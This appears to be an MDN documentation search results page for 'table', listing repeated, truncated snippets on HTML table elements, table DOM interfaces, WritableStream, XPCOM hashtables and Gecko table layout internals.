Search completed in 1.05 seconds.
<table>: The Table element - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...> elements, an optional <thead> element, either one of the following: zero or more <tbody> elements one or more <tr> elements an optional <tfoot> element tag omission none, both the starting and ending tag are mandatory. ...
...owing: zero or more <tbody> elements one or more <tr> elements an optional <tfoot> element tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content implicit aria role
table permitted aria roles any dom interface html
tableelement attributes this element includes the global attributes. ...
...And 28 more matches
WritableStreamDefaultWriter.WritableStreamDefaultWriter() - Web APIs
it then calls a function called sendmessage(), passing the newly created stream and a string. ...
...it then calls a function called sendmessage(), passing the newly created stream and a string. ...
...it then calls a function called sendmessage(), passing the newly created stream and a string. ...
...And 11 more matches
WritableStream.WritableStream() - Web APIs
the wri
tablestream() constructor creates a new wri
tablestream object instance. syntax var wri
tablestream = new wri
tablestream(underlyingsink[, queuingstrategy]); parameters underlyingsink an object containing methods and properties that define how the constructed stream instance will behave. underlyingsink can contain the following: start(controller) optional this is a method, called immediately when the object is constructed. the contents of this method are defined by the developer, and should aim to get access to the underlying sink. if this process is to be done asynchronously, it can return a promise to signal success or failure. the controller parameter passed to this method is a wri
tablestreamdefaultcontroller. this can be used by the developer to control the stream durin...
...n be used by the developer to control the stream during set up. write(chunk, controller) optional this method, also defined by the developer, will be called when a new chunk of data (specified in the chunk parameter) is ready to be written to the underlying sink. it can return a promise to signal success or failure of the write operation. the controller parameter passed to this method is a wri
tablestreamdefaultcontroller that can be used by the developer to control the stream as more chunks are submitted for writing. this method will be called only after previous writes have succeeded, and never after the stream is closed or aborted (see below). close(controller) optional this method, also defined by the developer, will be called if the app signals that it has finished writing chunks to...
...f the app signals that it has finished writing chunks to the stream. the contents should do whatever is necessary to finalize writes to the underlying sink, and release access to it. if this process is asynchronous, it can return a promise to signal success or failure. this method will be called only after all queued-up writes have succeeded. the controller parameter passed to this method is a wri
tablestreamdefaultcontroller, which can be used to control the stream at the end of writing. abort(reason) optional this method, also defined by the developer, will be called if the app signals that it wishes to abruptly close the stream and put it in an errored state. it can clean up any held resources, much like close(), but abort() will be called even if writes are queued up — those chunks wil...
...And 10 more matches
MathML Demo: <mtable> - tables and matrices
erately draw attention to the math axis and the baseline: ----------------------- this is the math axis ..................... this is the baseline external vertical align is center ---... 1 22 333 4444 x 55555 666666 a b c 7777777 11 ...--- , cols arg is "|r|c|l|", \hline's above and below. ...
... external vertical align is top ---... 1 22 333 4444 55555 x + 1 666666 a b c 7777777 11 cols arg is"r|c:l". external vertical align is bottom ---... 1 22 333 4444 55555 666666 x 2 a b c 7777777 11 cols arg is "r|cl". ...
...oincides with the math axis. external vertical align is top ---... 1 22 333 4444 55555 x + 1 666666 a b c 7777777 11 cols arg is"r|c:l". external vertical align is bottom ---... 1 22 333 4444 55555 666666 x 2 a b c 7777777 11 cols arg is "r|cl". mathml doesn't specify how to only display certain sides of the
table border, as in "|rcl", but these can be obtained in mozilla using the 'border' property of css, e.g., "|rcl" can be achieved with the css declaration "m
table { border-left: solid thin }". math axis test, using externally aligned arrays inside symmetric fences. ---... [ 1 666666 x 2 c axis ] [ 1 666666 x 2 c center ] + ⌊ 1 55555 x + 1 ...
...And 5 more matches
HTML table basics - Learn web development
overview:
tables next this article gets you started with html
tables, covering the very basics such as rows and cells, headings, making cells span multiple columns and rows, and how to group together all the cells in a column for styling purposes. prerequisites: the basics of html (see introduction to html). objective: to gain basic familiarity with html
tables. what is a
table ? ...
... this article gets you started with html
tables, covering the very basics such as rows and cells, headings, making cells span multiple columns and rows, and how to group together all the cells in a column for styling purposes. prerequisites: the basics of html (see introduction to html). objective: to gain basic familiarity with html
tables. what is a
table ? ...
...h as rows and cells, headings, making cells span multiple columns and rows, and how to group together all the cells in a column for styling purposes. prerequisites: the basics of html (see introduction to html). objective: to gain basic familiarity with html
tables. what is a
table ? a
table is a structured set of data made up of rows and columns (tabular data). ...
...And 43 more matches
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
l. the demonstrations provided here will work fine in any modern browser, including all versions of firefox and ie 5+. the dom methods presented here are part of the document object model (core) level 1 specification. dom level 1 includes both methods for generic document access and manipulation (dom 1 core) as well as methods specific to html documents (dom 1 html). ...
...ding all versions of firefox and ie 5+. the dom methods presented here are part of the document object model (core) level 1 specification. dom level 1 includes both methods for generic document access and manipulation (dom 1 core) as well as methods specific to html documents (dom 1 html). ...
...ox and ie 5+. the dom methods presented here are part of the document object model (core) level 1 specification. dom level 1 includes both methods for generic document access and manipulation (dom 1 core) as well as methods specific to html documents (dom 1 html). ...
...And 38 more matches
HTML table advanced features and accessibility - Learn web development
previous overview:
tables next in the second article in this module, we look at some more advanced features of html
tables — such as captions/summaries and grouping your rows into
table head, body and footer sections — as well as looking at the accessibility of
tables for visually impaired users. prerequisites: the basics of html (see introduction to html). objective: to learn about more advanced html
table features, and the accessibility of
tables. adding a caption to your
table with <caption> you can give your
table a caption by putting it inside a <caption> element and nesting that inside the <
table> element. you should put it just below the opening <
table> tag. ...
...rerequisites: the basics of html (see introduction to html). objective: to learn about more advanced html
table features, and the accessibility of
tables. adding a caption to your
table with <caption> you can give your
table a caption by putting it inside a <caption> element and nesting that inside the <
table> element. you should put it just below the opening <
table> tag. <
table> <caption>dinosaurs in the jurassic period</caption> ... </
table> as you can infer from the brief example above, the caption is meant to contain a description of the
table contents. this is useful for all readers wishing to get a quick idea of whether the
table is useful to them as they scan the page, but particularly for blind users. rather than have a screenreader read out the contents of...
... period</caption> ... </
table> as you can infer from the brief example above, the caption is meant to contain a description of the
table contents. this is useful for all readers wishing to get a quick idea of whether the
table is useful to them as they scan the page, but particularly for blind users. rather than have a screenreader read out the contents of many cells just to find out what the
table is about, he or she can rely on a caption and then decide whether or not to read the
table in greater detail. a caption is placed directly beneath the <
table> tag. note: the summary attribute can also be used on the <
table> element to provide a description — this is also read out by screenreaders. we'd recommend using the <caption> element instead, however, as summary is deprecated by the ht...
...And 35 more matches
Detailed XPCOM hashtable guide
any type: almost any datatype can be used as key, including strings, integers, xpcom interface pointers, iids, and almost anything else. keys can be disjunct (i.e. you can store entries with keys 1, 5, and 3000). ...
... any type: almost any datatype can be used as key, including strings, integers, xpcom interface pointers, iids, and almost anything else. keys can be disjunct (i.e. you can store entries with keys 1, 5, and 3000). ...
... any type: almost any datatype can be used as key, including strings, integers, xpcom interface pointers, iids, and almost anything else. keys can be disjunct (i.e. you can store entries with keys 1, 5, and 3000). ...
...And 31 more matches
Styling tables - Learn web development
previous overview: building blocks next styling an html
table isn't the most glamorous job in the world, but sometimes we all have to do it. this article provides a guide to making html
tables look good, with some specific
table styling techniques highlighted. prerequisites: html basics (study introduction to html), knowledge of html
tables, and an idea of how css works (study css first steps.) objective: to learn how to effectively style html
tables. a typical html
table let's start by looking at a typical html
table. ...
... look good, with some specific
table styling techniques highlighted. prerequisites: html basics (study introduction to html), knowledge of html
tables, and an idea of how css works (study css first steps.) objective: to learn how to effectively style html
tables. a typical html
table let's start by looking at a typical html
table. well, i say typical — most html
table examples are about shoes, or the weather, or employees; we decided to make things more interesting by making it about famous punk bands from the uk. the markup looks like so: <
table> <caption>a summary of the uk's most famous punk bands</caption> <thead> <tr> <th scope="col">band</th> <th scope="col">year formed</th> <th scope="col">no. of albums</th> <th scope="c...
...">the clash</th> <td>1976</td> <td>6</td> <td>london calling</td> </tr> ... ...
...And 30 more matches
<tr>: The Table Row element - HTML: Hypertext Markup Language
the html <tr> element defines a row of cells in a
table. the row's cells can then be established using a mix of <td> (data cell) and <th> (header cell) elements. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. to provide additional control over how cells fit into (or span across) columns, both <th> and <td> support the colspan attribute, which lets you specify how many columns wide the cell should be, with the default being 1. similarly, you can use the rowspan attribute on cells to indicate they should span more than one
table row. this can take a little practice to get right when building your
tables. we have som...
...d <td> support the colspan attribute, which lets you specify how many columns wide the cell should be, with the default being 1. similarly, you can use the rowspan attribute on cells to indicate they should span more than one
table row. this can take a little practice to get right when building your
tables. we have some examples below, but for more examples and an in-depth tutorial, see the html
tables series in our learn web development area, where you'll learn how to use the
table elements and their attributes to get just the right layout and formatting for your tabular data. attributes this element includes the global attributes. there are also several deprecated attributes, which you should avoid but may need to know when reading older code. deprecated attributes the following attribut...
...me as bottom. bottom, draws the text in each of the row's cells as closely as possible to the bottom edge of those cells. middle each cell's text is vertically centered. top each cell's text is drawn as closely as possible to the top edge of the containing cell. don't use the obsolete valign attribute. instead, add the css vertical-align property to the row. ...
...And 25 more matches
Table Reflow Internals - Archive of obsolete content
the initial chunk of an xml doc is loaded. the initial chunk of an html doc (or a subsequent chunk of an xml doc) is loaded. the container posts a dirty reflow command with itself as the target. content is inserted, appended, or deleted through the dom. the container posts a dirty reflow command with itself as the target. style changes through the dom - javascript, browser change font (ctrl+/-), a preference changes, etc. ...
... for fixed positioned frames kinds of reflows incremental reflow (continued) reflower not allowed to change available size of reflowee reflow commands get coalesced to streamline processing style change a target changed stylistic if there is a target, otherwise every frame may need to respond parent of target usually turns it into an incremental reflow with a style changed command type
table frames ns
tableouter frame ↙ ↘ ns
table frame ns
tablecaption frame ↙ ↘ ↓ ns
tablecol groupframe ns
tablerow groupframe nsblockframe ↓ ↓ ns
tablecol frame ns
tablerow frame ↓ ns
tablecell frame ↓ nsblock frame
table reflow outer
table reflows
table and cap...
... ns
tableouter frame ↙ ↘ ns
table frame ns
tablecaption frame ↙ ↘ ↓ ns
tablecol groupframe ns
tablerow groupframe nsblockframe ↓ ↓ ns
tablecol frame ns
tablerow frame ↓ ns
tablecell frame ↓ nsblock frame
table reflow outer
table reflows
table and caption (if present)
table reflows row groups in multiple passes pass 1 - unconstrained width, height and requests max elem width. ...
...And 21 more matches
Table Layout Regression Tests - Archive of obsolete content
and analyze your results: if the regression tests have failed at the same place as the previous diagnosed false positives => ignore try to figure out what the other regressions are: are they improving the picture or are they regressions? note the difficult to explain test failures. ...
... source if necessary until the regression tests indicate that your patch does not fork the block and
table layout submit your patch and lists the remaining differences in the bug be prepared to cycle. how the layout regression tests work first the url's to test are red from rtest.lst files in various directories. layout/html/tests/block/rtest.lst points to them. snippet from rtest.lst in the
table/marvin directory: body_col.html body_tbody.html body_tfoot.html body_thead.html col_span.html the regression tests compare the frame tree dumps recorded at two different times. the url's to test are red from rtest.lstfor every file in rtest.lst mozilla takes the root frame and dumps the whole tree via nsframe::dumpregression. the frame tree dumps are invoked by the nsilayoutdebugger. the frame ...
...op: null right: null bottom: null 1[0x1]enum 0" /> <list data="100 100 " /> <position data="left: auto top: auto right: auto bottom: auto auto 0[0x0]tw null auto 0[0x0]tw null 0 auto " /> <text data="0 0 0 normal normal 0[0x0]tw normal " /> <textreset data="0 10[0xa]enum " /> <display data="0 1 0 0 0 0 0 0 0 0 0 0 " /> <visibility data="0 1 1.000000" /> <
table data="0 0 4 -1 1 " /> <
tableborder data="1 null null 0 2 " /> <content data="0 0 0 null " /> <quotes data="0 " /> <ui data="3 0 0 1 " /> <uireset data="7 0 4" /> <xul data="0 0 0 0 0 1 <svg data="0 1.000000 1.000000 0 1.000000" /> </stylecontext> the baseline log will look like: type manifest file: e:\moz_src\mozilla\obj-i586-pc-msvc\dist\bin\components\xpti.dat...
...And 18 more matches
IAccessibleTable
other-licenses/ia2/accessible
table.idlnot scrip
table this interface gives access to a two-dimensional
table. 1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) typically all accessible objects that represent cells or cell-clusters of a
table will be at the same time children of the
table. in this case iaccessible2.indexinparent() will return the child index which then can be used when calling rowindex() and columnindex(). however, in some cases that kind of implementation will not be possible. when the
table cells are not direct children of a
table, the object representing the cell can define a "
table-cell-index" object attribute identifying the 0 based
table cell index. this object attribute is obtained by parsing the att...
...lling rowindex() and columnindex(). however, in some cases that kind of implementation will not be possible. when the
table cells are not direct children of a
table, the object representing the cell can define a "
table-cell-index" object attribute identifying the 0 based
table cell index. this object attribute is obtained by parsing the attribute string returned by iaccessible2.attributes(). the "
table-cell-index" attribute can be used just like a child index of the typical case. ats should first test for the presence of the "
table-cell-index" attribute and if it is not present then iaccessible2.indexinparent() can be used as in the typical case where cells are direct children of the
table. the range of valid coordinates for this interface are implementation dependent. however, that range inclu...
... accessible ); [propget] hresult caption([out] iunknown accessible ); [propget] hresult childindex([in] long rowindex, [in] long columnindex, [out] long cellindex ); [propget] hresult columndescription([in] long column, [out] bstr description ); [propget] hresult columnextentat([in] long row, [in] long column, [out] long ncolumnsspanned ); [propget] hresult columnheader([out] iaccessible
table accessible
table, [out] long startingrowindex ); [propget] hresult columnindex([in] long cellindex, [out] long columnindex ); [propget] hresult iscolumnselected([in] long column, [out] boolean isselected ); [propget] hresult isrowselected([in] long row, [out] boolean isselected ); [propget] hresult isselected([in] long row, [in] long column, [out] boolean isselected ); [propget] hresult ...
...And 18 more matches
HTMLTableElement - Web APIs
the html
tableelement interface provides special properties and methods (beyond the regular htmlelement object interface it also has available to it by inheritance) for manipulating the layout and presentation of
tables in an html document. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle...
...aco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/html
tableelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">html
tableelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits p...
...th="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">html
tableelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. html
tableelement.caption is a html
tablecaptionelement representing the first <caption> that is a child of the element, or null if none is found. when set, if the object doesn't represent a <caption>, a domexception with the hierarchyrequesterror name is thrown. if a correct object is given, it is inserted in the tree as the first child of this element and the first <caption> that is a child of this elemen...
...And 18 more matches
Table Cellmap - Archive of obsolete content
further it contains info whether this entry is a row- or colspan. 79 // this union relies on the assumption that an object (not primitive type) does 80 // not start on an odd bit boundary. if mspan is 0 then morigcell is in effect 81 // and the data does not represent a span. ...
...further it contains info whether this entry is a row- or colspan. 79 // this union relies on the assumption that an object (not primitive type) does 80 // not start on an odd bit boundary. if mspan is 0 then morigcell is in effect 81 // and the data does not represent a span. ...
... (celldata.h). further it contains info whether this entry is a row- or colspan. 79 // this union relies on the assumption that an object (not primitive type) does 80 // not start on an odd bit boundary. if mspan is 0 then morigcell is in effect 81 // and the data does not represent a span. if mspan is 1, then mbits is in 82 // effect and the data represents a span. 83 union { 84 ns
tablecellframe* morigcell; 85 long mbits; 86 }; the idea behind this construction is a entry in the cellmap can be either the origin of a row- or colspan (a cell cell without a defined row- or colspan attribute assumes 1 as a default value), or a entry which is only covered by a row- or colspan. entries which are a origin have a direct corresponding
tablecellframe. entries which are...
...And 17 more matches
<tbody>: The Table Body element - HTML: Hypertext Markup Language
the html
table body element (<tbody>) encapsulates a set of
table rows (<tr> elements), indicating that they comprise the body of the
table (<
table>). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the <tbody> element, along with its cousins <thead> and <tfoot>, provide useful semantic information that can be used when rendering for either screen or printer as well as for accessibility purposes. content categories none. permitted content zero or more <tr> elements. ...
...l request. the <tbody> element, along with its cousins <thead> and <tfoot>, provide useful semantic information that can be used when rendering for either screen or printer as well as for accessibility purposes. content categories none. permitted content zero or more <tr> elements. ...
...seful semantic information that can be used when rendering for either screen or printer as well as for accessibility purposes. content categories none. permitted content zero or more <tr> elements. tag omission the <tbody> element is not a required child element for a parent <
table> element to graphically render. however, it must not be present, if its parent <
table> element has a <tr> element as a child. permitted parents within the required parent <
table> element, the <tbody> element can be added after a <caption>, <colgroup>, and a <thead> element. implicit aria role rowgroup permitted aria roles any dom interface html
tablesectionelement attributes this element includes the global attributes. deprec...
...And 17 more matches
ARIA: table role - Accessibility
the
table value of the aria role attribute identifies the element containing the role as having a non-interactive
table structure containing data arranged in rows and columns, similar to the native <
table> html element. ...
... the
table value of the aria role attribute identifies the element containing the role as having a non-interactive
table structure containing data arranged in rows and columns, similar to the native <
table> html element. ...
... the
table value of the aria role attribute identifies the element containing the role as having a non-interactive
table structure containing data arranged in rows and columns, similar to the native <
table> html element. ...
...And 16 more matches
Using writable streams - Web APIs
as a javascript developer, programmatically writing data to a stream is very useful! this article explains the streams api’s wri
table stream functionality. note: this article assumes that you understand the use cases of wri
table streams, and are aware of the high-level concepts. if not, we suggest that you first read the streams concepts and usage overview and dedicated streams api concepts article, then come back. note: if you are looking for information about readable streams, try using readable streams instead. browser support the streams api is experimental, and support is at an early stage right now. only chrome currently has basic wri
table streams implemented. introducing an example in our dom-examples/streams repo you’ll find a simple writer example (see it live also). thi...
...or information about readable streams, try using readable streams instead. browser support the streams api is experimental, and support is at an early stage right now. only chrome currently has basic wri
table streams implemented. introducing an example in our dom-examples/streams repo you’ll find a simple writer example (see it live also). this takes a given message and writes it into a wri
table stream, displaying each chunk on the ui as it is written to the stream and also displaying the whole message on the ui when writing has finished. ...
...right now. only chrome currently has basic wri
table streams implemented. introducing an example in our dom-examples/streams repo you’ll find a simple writer example (see it live also). this takes a given message and writes it into a wri
table stream, displaying each chunk on the ui as it is written to the stream and also displaying the whole message on the ui when writing has finished. how wri
table streams work let’s look at how the wri
table stream functionality in our demo works. constructing a wri
table stream to create a wri
table stream, we use the wri
tablestream() constructor; the syntax looks complex at first, but actually isn’t too bad. ...
...And 15 more matches
JS::MutableHandle
this article covers features introduced in spidermonkey 17 reference to a t that has been rooted elsewhere. the underlying storage can be changed. this is useful for outparams. syntax bool somefunction(jscontext *cx, js::mu
tablehandle<t> outparam) { ... } methods here, ptr represents the private member of js::mu
tablehandle<t>, typed with t *. method description const t &get() const returns *ptr. operator const t&() const t operator->() const t *address() returns ptr. void set(t v) sets the value of *ptr to v. description js::mu
tablehandle<t> is a non-const reference to js::rooted<t>. it is used in the same way as js::handle<t> and includes a |set(const t &v)| method to allow updating the value ...
...ator const t&() const t operator->() const t *address() returns ptr. void set(t v) sets the value of *ptr to v. description js::mu
tablehandle<t> is a non-const reference to js::rooted<t>. it is used in the same way as js::handle<t> and includes a |set(const t &v)| method to allow updating the value of the referenced js::rooted<t>. a js::mu
tablehandle<t> can be created from a js::rooted<t> by using |js::rooted<t>::operator&()|. ...
... description js::mu
tablehandle<t> is a non-const reference to js::rooted<t>. it is used in the same way as js::handle<t> and includes a |set(const t &v)| method to allow updating the value of the referenced js::rooted<t>. a js::mu
tablehandle<t> can be created from a js::rooted<t> by using |js::rooted<t>::operator&()|. if you want to add additional methods to js::mu
tablehandle for a specific specialization, define a js::mu
tablehandlebase<t> specialization containing them. ...
...And 14 more matches
HTMLTableElement.insertRow() - Web APIs
parameters index optional the row index of the new row. ...
... parameters index optional the row index of the new row. ...
... parameters index optional the row index of the new row. ...
...And 14 more matches
Debugging Table Reflow
look there especially how the maxelementsize (mes) and desired size are propagated. block reflow another way to debug the reflow process is implemented inside nsblockframe.cpp. ...
...tions can be combined with a comma separated list messages generated by the reflow switch: block(div)(1)@00be5ac4: reflowing dirty lines computedwidth=9000 computedheight=1500 this message is generated inside of nsresult nsblockframe::reflowdirtylines(nsblockreflowstate& astate) it first shows the block id and address and then the computed width and height from the htmlreflowstate. ...
...ng dirty lines computedwidth=9000 computedheight=1500 this message is generated inside of nsresult nsblockframe::reflowdirtylines(nsblockreflowstate& astate) it first shows the block id and address and then the computed width and height from the htmlreflowstate. debug_
table_strategy editor's note: the following examples are not shown correctly due to the wiki's technical constraint. ...
...And 13 more matches
Images, Tables, and Mysterious Gaps - Archive of obsolete content
his article are no longer best practices for web-based development. it is now preferable to use css for layout. however, these techniques may be relevant when the developer cannot assume that users have a modern browser, such as for html-based e-mail messages. almost no matter when you started creating web pages, odds are pretty high you have one or more designs based on the classic "convoluted
tables and lots of images" paradigm. whether you've sliced up a logo so it fits in well with the design, or used tons of single-pixel spacer gifs, the principles (and perils) remain largely the same. back in the early days, this approach worked, because browsers would usually make a
table cell exactly as wide and tall as an image it contained. fast forward to 2001, and the rise of standards-based brow...
...the early days, this approach worked, because browsers would usually make a
table cell exactly as wide and tall as an image it contained. fast forward to 2001, and the rise of standards-based browsers that lay out pages using html and css instead of their own private layout algorithms. thanks to an obscure corner of the css specification, every design based on a precise layout of small images in
table cells have become visual disasters just waiting to happen. all it takes is a modern browser and the right doctype, and kaboom! the components let's take a close look at the breeding ground for trouble, and why this is a problem. we start with a simple case, illustrated in figure 1: a one-cell
table containing an image. obviously most designs are a touch more complicated than this, but we don...
...instead of "shrinkwrapping" the image itself, the browser is now wrapping around the line in which the image sits. ...
...And 12 more matches
IAccessibleTable2
other-licenses/ia2/accessible
table2.idlnot scrip
table this interface gives access to a two-dimensional
table. 1.0 66 introduced gecko 1.9.2 inherits from: iunknown last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) please also refer to the iaccessible
tablecell interface. if you want to support older applications you should also support the iaccessible
table interface. method overview [propget] hresult caption([out] iunknown accessible ); [propget] hresult cellat([in] long row, [in] long column, [out] iunknown cell ); [propget] hresult columndescription([in] long column, [out] bstr description ); [propget] hresult iscolumnselected([in] long column, [out] boolean isselected ); [propget] hresult isrowselected([in] long row, [out] bo...
...tion([out] iunknown accessible ); [propget] hresult cellat([in] long row, [in] long column, [out] iunknown cell ); [propget] hresult columndescription([in] long column, [out] bstr description ); [propget] hresult iscolumnselected([in] long column, [out] boolean isselected ); [propget] hresult isrowselected([in] long row, [out] boolean isselected ); [propget] hresult modelchange([out] ia2
tablemodelchange modelchange ); [propget] hresult ncolumns([out] long columncount ); [propget] hresult nrows([out] long rowcount ); [propget] hresult nselectedcells([out] long cellcount ); [propget] hresult nselectedcolumns([out] long columncount ); [propget] hresult nselectedrows([out] long rowcount ); [propget] hresult rowdescription([in] long row, [out] bstr description ); hresult sele...
...umns([out, size_is(, ncolumns)] long selectedcolumns, [out] long ncolumns ); [propget] hresult selectedrows([out, size_is(, nrows)] long selectedrows, [out] long nrows ); hresult selectrow([in] long row ); [propget] hresult summary([out] iunknown accessible ); hresult unselectcolumn([in] long column ); hresult unselectrow([in] long row ); methods caption() returns the caption for the
table. the returned object could be an iaccessible or an iaccessible2. [propget] hresult caption( [out] iunknown accessible ); parameters accessible if the
table has a caption then a reference to it is returned, else a null pointer is returned. return value s_false if there is nothing to return, [out] value is null. s_ok. cellat() returns the accessible object at the specified row and column in th...
...And 12 more matches
XPCOM hashtable guide
this is the simplified version of the detailed xpcom hash
table guide. everything you need to know is probably on this page. also note that mfbt/hash
table.h now exists. it is a lot faster than the xpcom hash
tables due to more inlining and templating, and the api is arguably better. what is a hash
table? a hash
table is a data construct that stores a set of items. each item has a key that identifies the item. items are found, added, and removed from the hash
table by using the key. hash
tables may seem like arrays, but there are important differences: array hash
table keys: integer: arrays are always keyed on integers, and must be contiguous. any type: almost any datatype can be used as key, including strings, integers, xpcom interface pointers, iids, and...
... o(1): lookup time is mostly-constant, but the constant time can be larger than an array lookup sorting: sorted: stored sorted; iterated over in a sorted fashion. unsorted: stored unsorted; cannot be iterated over in a sorted manner. ...
...d sorted; iterated over in a sorted fashion. unsorted: stored unsorted; cannot be iterated over in a sorted manner. inserting/removing: o(n): adding and removing items from a large array can be time-consuming o(1): adding and removing items from hash
tables is a quick operation wasted space: none: arrays are packed structures, so there is no wasted space. some: hash
tables are not packed structures; depending on the implementation, there may be significant wasted memory. ...
...And 11 more matches
HTMLTableRowElement.insertCell() - Web APIs
parameters index optional index is the cell index of the new cell. if index is -1 or equal to the number of cells, the cell is appended as the last cell in the row. ...
... parameters index optional index is the cell index of the new cell. if index is -1 or equal to the number of cells, the cell is appended as the last cell in the row. if index is greater than the number of cells, an indexsizeerror exception will result. ...
...d returns a reference to the cell. note: insertcell() inserts the cell directly into the row. the cell does not need to be appended separately with node.appendchild() as would be the case if document.createelement() had been used to create the new <td> element. you can not use insertcell() to create a new <th> element though. ...
...And 11 more matches
WritableStream - Web APIs
the wri
tablestream interface of the the streams api provides a standard abstraction for writing streaming data to a destination, known as a sink. this object comes with built-in backpressure and queuing. constructor wri
tablestream() creates a new wri
tablestream object. properties wri
tablestream.locked read only a boolean indicating whether the wri
tablestream is locked to a writer. methods wri
tablestream.abort() aborts the stream, signaling that the producer can no longer successfully write to the stream and it is to be immediately moved to an error state, with any queued writes discarded. wri
tablestream.close() closes the stream. wri
tablestream.getwriter() returns a new instance of wri
tablestreamdefaultwriter and locks the stream to that instance. while the stream is l...
...a foreach() call is used to write each chunk of the string to the stream. ...
...il this one is released. examples the following example illustrates several features of this interface. it shows the creation of the wri
tablestream with a custom sink and an api-supplied queueing strategy. it then calls a function called sendmessage(), passing the newly created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of wri
tablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. ...
...And 11 more matches
Hash Tables
this chapter describes the hash
table functions in the plds (por
table library — data structures) library of nspr. the hash
table library functions are declared in the header file plhash.h. warning: the nspr hash
table library functions are not thread safe. a hash
table lookup may change the internal organization of the hash
table (to speed up future lookups). ...
... this chapter describes the hash
table functions in the plds (por
table library — data structures) library of nspr. the hash
table library functions are declared in the header file plhash.h. warning: the nspr hash
table library functions are not thread safe. a hash
table lookup may change the internal organization of the hash
table (to speed up future lookups). ...
...pter describes the hash
table functions in the plds (por
table library — data structures) library of nspr. the hash
table library functions are declared in the header file plhash.h. warning: the nspr hash
table library functions are not thread safe. a hash
table lookup may change the internal organization of the hash
table (to speed up future lookups). ...
...And 10 more matches
nsIScriptableInputStream
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview unsigned long available(); void close(); void init(in nsiinputstream ainputstream); string read(in unsigned long acount); acstring readbytes(in unsigned long acount); methods available() return the number of bytes currently available in the stream. note: this method should not be used to determine the total size of a stream, even if the stream corresponds to a local file. ...
...e underlying data source. unsigned long available(); parameters none. return value the number of bytes. exceptions thrown ns_base_stream_closed if called after the stream has been closed. close() closes the stream. note: the close method may be called more than once, but subsequent calls are ignored. void close(); parameters none. init() wrap the given nsiinputstream with this nsiscrip
tableinputstream. note: the init method may be called more than once, allowing a nsiscrip
tableinputstream instance to be reused. void init( in nsiinputstream ainputstream ); parameters ainputstream the nsiinputstream to be wrapped. read() read data from the stream. warning: if the data contains a null byte, then this method will return a truncated string. note: it is also important t...
...ce provides javascript with a way to read ascii text from a nsiinputstream. however, it does not address the problem of reading arbitrary binary data from a stream. for binary input see nsibinaryinputstream. note: starting in gecko 2.0, you can use the netutils.jsm javascript code module and its readinputstreamtostring() method to read arbitrary binary data into a javascript string. the nsscrip
tableinputstream component implements this interface. this interface was frozen for gecko 1.2. from gecko 2.0 interfaces are no longer frozen. examples list contents of xpi and read file contents this example here uses the read function. it takes a input stream from the zip reader and outputs the text in it. full example using the zip interfaces is seen here: list contents of xpi and read file contents...
...And 10 more matches
HTMLTableCellElement - Web APIs
the html
tablecellelement interface provides special properties and methods (beyond the regular htmlelement interface it also has available to it by inheritance) for manipulating the layout and presentation of
table cells, either header or data cells, in an html document. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,mo...
...aco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/html
tablecellelement" target="_top"><rect x="291" y="65" width="200" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">html
tablecellelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties in...
